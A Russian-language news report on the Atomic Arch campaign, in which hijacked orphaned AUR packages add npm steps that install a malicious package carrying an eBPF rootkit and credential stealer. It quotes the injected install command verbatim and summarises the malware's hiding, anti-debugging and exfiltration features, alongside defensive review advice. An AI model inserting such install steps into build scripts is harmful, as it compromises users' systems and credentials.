В пользовательском репозитории Arch Linux (AUR) выявили серию вредоносных коммитов: в сборочные сценарии пакетов добавлены команды npm, во время установки загружающие вредоносные зависимости – чаще всего npm-пакет atomic-lockfile. Сопровождающие удаляют опасные правки и блокируют учётные записи злоумышленников, а сведения о затронутых пакетах собирают в отдельной ветке списка рассылки aur-general. Исследователи Sonatype дали кампании имя Atomic Arch: по их данным, атакующие получают контроль над осиротевшими пакетами. Официальные репозитории Arch Linux не затронуты.
AUR (Arch User Repository) – репозиторий пользовательских сборочных сценариев для Arch Linux. Пакеты в нём сопровождают участники сообщества, и проект не проверяет их содержимое так, как пакеты официальных репозиториев.
Команды npm в пакетах, которым npm не нужен
О проблеме сообщили в списке рассылки aur-general, где для учёта заражённых пакетов завели отдельную ветку. Суть подозрительных правок одинакова: в PKGBUILD появляются команды npm, не связанные с исходным программным обеспечением, а вредоносная логика срабатывает во время установки пакета.
PKGBUILD – сценарий с инструкциями по сборке пакета для Arch Linux: откуда загрузить исходный код, как его собрать и какие зависимости требуются.
Наглядный пример – пакет alvr: в его обновлении появились обращения к npm, хотя сама программа этим менеджером пакетов не пользуется. Похожие изменения нашли и в других пакетах, поэтому участников просят сообщать о новых вредоносных коммитах в общую ветку.
Мы прилагаем все усилия, чтобы откатить и удалить вредоносные коммиты и заблокировать учётные записи. Если найдёте другие заражённые пакеты, отправляйте их ответом на это письмо – так все сообщения останутся в одной ветке.
– Джонатан Гротелюшен (Jonathan Grotelüschen), список рассылки aur-general
Кампания Atomic Arch и захват осиротевших пакетов
В тот же день, , компания Sonatype опубликовала исследование, присвоив кампании имя Atomic Arch. По данным её специалистов, злоумышленники берут в сопровождение осиротевшие пакеты AUR – проекты, оставшиеся без мейнтейнера, – и получают контроль над сборочными инструкциями, сохраняя имя пакета, его историю и накопленное доверие пользователей.
Исходный код самих программ при этом не меняется. В PKGBUILD добавляется послеустановочный сценарий с командой:
npm install atomic-lockfile minimist chalk
В результате на систему попадает вредоносный npm-пакет atomic-lockfile. По оценке Sonatype, кампания затронула более 20 пакетов AUR, и число может вырасти по мере проверки других осиротевших проектов. Угрозе присвоен идентификатор Sonatype-2026-003775 с оценкой 8,7 балла по шкале CVSS.
Руткит на eBPF внутри atomic-lockfile
Внутри atomic-lockfile специалисты Sonatype нашли собранный для Linux исполняемый файл, который запускается на этапе установки npm-пакета. Статический анализ выявил программу eBPF с функциями сокрытия процессов, файлов и сетевой активности: в коде обнаружены перехватчики системного вызова getdents64, который перечисляет содержимое каталогов, и структуры со списками скрываемых процессов, имён файлов и индексных дескрипторов.
eBPF – технология Linux, позволяющая выполнять программы внутри ядра с повышенными привилегиями. Обычно её применяют для мониторинга и трассировки, но те же механизмы пригодны и для руткита.
Там же нашли логику обнаружения отладчика через PTRACE_ATTACH и PTRACE_SEIZE, а кроме неё – упоминания учётных данных GitHub, ключей SSH, токенов HashiCorp Vault, баз cookie браузеров и хранилищ Slack, Discord, Microsoft Teams и Telegram. Набор целей указывает на сбор учётных данных и токенов, а поддержка архивов и выгрузка запросом POST на адрес /upload – на возможность передачи собранного за пределы системы.
Системы, на которых устанавливались затронутые пакеты, в Sonatype рекомендуют считать скомпрометированными: удаления пакета недостаточно, если полезная нагрузка второй ступени уже выполнилась.
Как проверить пакеты из AUR перед обновлением
Пока масштаб инцидента уточняется, обновлять пакеты из AUR без просмотра изменений не следует. Рекомендации сводятся к нескольким шагам:
- просматривать изменения PKGBUILD перед сборкой и установкой;
- проверять новые файлы .install, появившиеся в обновлении;
- относиться с подозрением к обновлениям, в которых появляются команды или зависимости npm, не свойственные программе;
- тем, кто недавно обновлял затронутые пакеты, – изучить историю изменений и проверить выполненные установочные сценарии.
Любое неожиданное обращение к npm при установке пакета из AUR стоит расценивать как возможную компрометацию системы.
Заключение
Официальные репозитории Arch Linux инцидент не затронул, однако он показал уязвимое место модели сопровождения AUR: осиротевший пакет может взять любой участник, унаследовав чужое доверие. Сообщество продолжает оценивать масштаб заражения, список затронутых пакетов меняется, поэтому до завершения очистки каждое обновление из AUR требует ручной проверки сборочных сценариев.